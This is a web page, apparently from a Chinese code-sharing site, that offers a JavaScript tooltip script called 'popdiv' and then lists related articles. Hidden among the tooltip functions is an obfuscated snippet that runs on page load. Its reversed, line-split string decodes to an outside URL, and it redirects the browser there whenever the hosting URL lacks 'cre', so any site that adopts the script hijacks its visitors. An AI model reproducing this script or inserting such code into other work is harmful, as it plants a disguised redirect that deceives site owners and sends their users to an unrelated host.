popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
js 与或运算符 || &amp;&amp; 妙用
Dec 09 Javascript
jQuery 顶部导航跟随滚动条滚动固定浮动在顶部
Jun 06 Javascript
node.js [superAgent] 请求使用示例
Mar 13 Javascript
使用Raygun对Node.js应用进行错误处理的方法
Jun 23 Javascript
JavaScript+html5 canvas制作色彩斑斓的正方形效果
Jan 27 Javascript
jQuery插件实现文字无缝向上滚动效果代码
Feb 25 Javascript
只需五句话搞定JavaScript作用域(经典)
Jul 26 Javascript
JavaScript Base64 作为文件上传的实例代码解析
Feb 14 Javascript
jQuery插件FusionWidgets实现的Bulb图效果示例【附demo源码下载】
Mar 23 jQuery
jQuery实现jQuery-form.js实现异步上传文件
Apr 28 jQuery
浅谈vue中数据双向绑定的实现原理
Sep 14 Javascript
vue调试工具vue-devtools安装及使用方法
Nov 07 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
PHP新手上路(六)
2006/10/09 PHP
Ajax PHP 边学边练 之三 数据库
2009/11/26 PHP
PHP array_multisort() 函数的深入解析
2013/06/20 PHP
常用PHP框架功能对照表
2014/10/23 PHP
PHP读取文件内容的五种方式
2015/12/28 PHP
PHP中session跨子域的三种实现方法
2016/07/25 PHP
[企业公众号]升级到[企业微信]之后发送消息失败的解决方法
2017/06/30 PHP
什么是PHP7中的孤儿进程与僵尸进程
2019/04/14 PHP
JQuery对checkbox操作 (循环获取)
2011/05/20 Javascript
自己动手制作jquery插件之自动添加删除行功能介绍
2011/10/14 Javascript
js清理Word格式示例代码
2014/02/13 Javascript
JS实现点击上移下移LI行数据的方法
2015/08/05 Javascript
第四章之BootStrap表单与图片
2016/04/25 Javascript
浅谈angular懒加载的一些坑
2016/08/20 Javascript
layer弹窗插件操作方法详解
2017/05/19 Javascript
JavaScript 有用的代码片段和 trick
2018/02/22 Javascript
详解Node.js中path模块的resolve()和join()方法的区别
2018/10/29 Javascript
vue实现父子组件之间的通信以及兄弟组件的通信功能示例
2019/01/29 Javascript
layui自定义插件citySelect实现省市区三级联动选择
2019/07/26 Javascript
微信js-sdk 录音功能的示例代码
2019/11/01 Javascript
[19:14]DOTA2 HEROS教学视频教你分分钟做大人-维萨吉
2014/06/24 DOTA
python实现自动更换ip的方法
2015/05/05 Python
利用Python半自动化生成Nessus报告的方法
2019/03/19 Python
Python爬虫运用正则表达式的方法和优缺点
2019/08/25 Python
Django框架中间件定义与使用方法案例分析
2019/11/28 Python
python 非线性规划方式(scipy.optimize.minimize)
2020/02/11 Python
Python GUI之tkinter窗口视窗教程大集合(推荐)
2020/10/20 Python
实例讲解CSS3中的border-radius属性
2015/08/18 HTML / CSS
基于css3的属性transition制作菜单导航效果
2015/09/01 HTML / CSS
HTML5本地存储之Web Storage详解
2016/07/04 HTML / CSS
Java中会存在内存泄漏吗,请简单描述
2016/12/22 面试题
打架检讨书50字
2014/01/11 职场文书
写自荐信的注意事项
2014/03/09 职场文书
诚实守信道德模范事迹材料
2014/08/15 职场文书
2014年外贸业务员工作总结
2014/12/11 职场文书
初中政教处工作总结
2015/08/12 职场文书